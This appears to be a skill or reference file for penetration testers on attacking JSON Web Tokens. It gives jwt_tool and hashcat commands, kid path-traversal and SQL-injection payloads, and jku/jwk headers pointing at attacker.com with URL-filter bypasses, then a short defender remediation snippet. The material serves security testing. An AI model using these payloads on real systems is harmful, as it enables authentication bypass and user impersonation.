| name | jwt |
| description | JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping. |
| metadata | {"when_to_use":"jwt json web token bearer signature alg=none kid jwks","mitre_attack":"T1606.001","subdomain":"authentication","upstream_ref":"skills/_corpus/payloads/JSON Web Token/"} |
JSON Web Token Attacks
JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to
accept none. The header carries the alg + optionally kid/jku/x5u
references. Each is a potential exploitation surface.
1. Anatomy
header.payload.signature — each base64url. Decode w/ jwt_tool or
jwt-cracker:
jwt_tool eyJhbGc...
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null
2. Attack surface
2.1 alg=none bypass
Set {"alg":"none"} in header, strip signature, send header.payload.:
jwt_tool $JWT -X a
Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears
in legacy systems.
2.2 HS256 vs RS256 confusion
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches alg to HS256 and signs w/ the public key (which the server
will use as the HMAC secret):
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
jwt_tool $JWT -X k -pk public.pem
2.3 kid header injection
kid (key ID) sometimes resolves to a file path or DB key:
{"alg":"HS256","kid":"../../../dev/null"}
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"}
jwt_tool -X i -I -hc kid -hv path chains kid injection variants.
2.4 jku / x5u URL injection
jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
Then https://attacker.com/jwks.json returns attacker's public key,
signed JWT is "valid".
Bypass URL filters via:
- subdomain confusion (
https://target.com.attacker.com/jwks.json)
- userinfo (
https://attacker.com@target.com/jwks.json)
- redirect chains via target's open-redirect
2.5 Weak HMAC secret
HS256 with weak secret crackable offline:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/
changeme/company-name patterns.
2.6 Signature stripping (Express.js / older Go libs)
Some libraries verify only IF a signature is present. Strip it:
header.payload. ← trailing dot, no sig
2.7 Embedded jwk header
jwk in header (vs jku pointer) — attacker embeds their own pub key:
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}
Old node-jsonwebtoken accepted this.
3. Detection in recon
JWT presence signals:
Authorization: Bearer eyJ... headers
access_token=eyJ... / id_token=eyJ... URL params or cookies
.well-known/jwks.json endpoint exposed
.well-known/openid-configuration discovery doc
4. PoC pattern (Burp + jwt_tool)
- Capture authenticated request
jwt_tool <JWT> -M at -t <target_url> — runs all tests (alg=none, alg confusion, signature strip, weak HMAC dictionary)
- For positive results, replay manually via Burp Repeater to confirm
- Document the modified JWT + decoded admin claims as PoC
5. Severity calibration
| Bug | Typical severity |
|---|
alg=none accepted on user → admin claim swap | Critical 9.8 |
| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |
jku to attacker URL accepted | Critical 9.8 |
| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |
kid SQLi → DB enumeration | High 8.0 |
| Signature stripping accepted | Critical 9.8 |
6. Defender remediation
jwt.verify(token, publicKey, {
algorithms: ['RS256'],
audience: 'api://my-service',
issuer: 'https://auth.mycorp.com',
});
jwt.decode(token, public_key, algorithms=['RS256'])
Cross-references
Known exemplars
- Auth0 alg=none (2015) — historical CVE-2015-2951 era
- Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021
- Atlassian 2022: JWT validation bypass in JIRA cloud → admin
- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host